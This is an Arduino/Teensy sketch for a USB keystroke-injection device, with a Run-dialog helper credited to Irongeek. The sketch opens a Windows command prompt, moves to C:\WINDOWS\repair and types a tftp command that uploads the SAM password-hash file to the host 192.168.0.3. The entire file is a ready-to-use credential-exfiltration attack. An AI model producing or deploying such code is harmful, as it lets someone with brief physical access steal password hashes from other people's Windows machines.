void setup() {} 
void loop () 
{ 
  delay(5000); 
  CommandAtRunBar("cmd"); 
  delay(5000); 
  Keyboard.print("cd C:\\WINDOWS\\repair\\\n"); 
  delay(5000); 
  Keyboard.print("tftp 192.168.0.3 PUT sam sam\n"); 
  delay(9000000); 
  
} 

//From Irongeek for the commands on the keyboard... 
void CommandAtRunBar(char *SomeCommand){ 
Keyboard.set_modifier(128); //Windows key 
Keyboard.set_key1(KEY_R); // use r key 
Keyboard.send_now(); // send strokes 
Keyboard.set_modifier(0); //prep release of control keys 
Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times. 
Keyboard.send_now(); //Send the key changes 
delay(1500); 
Keyboard.print(SomeCommand); 
Keyboard.set_key1(KEY_ENTER); 
Keyboard.send_now(); 
Keyboard.set_key1(0); 
Keyboard.send_now(); 
}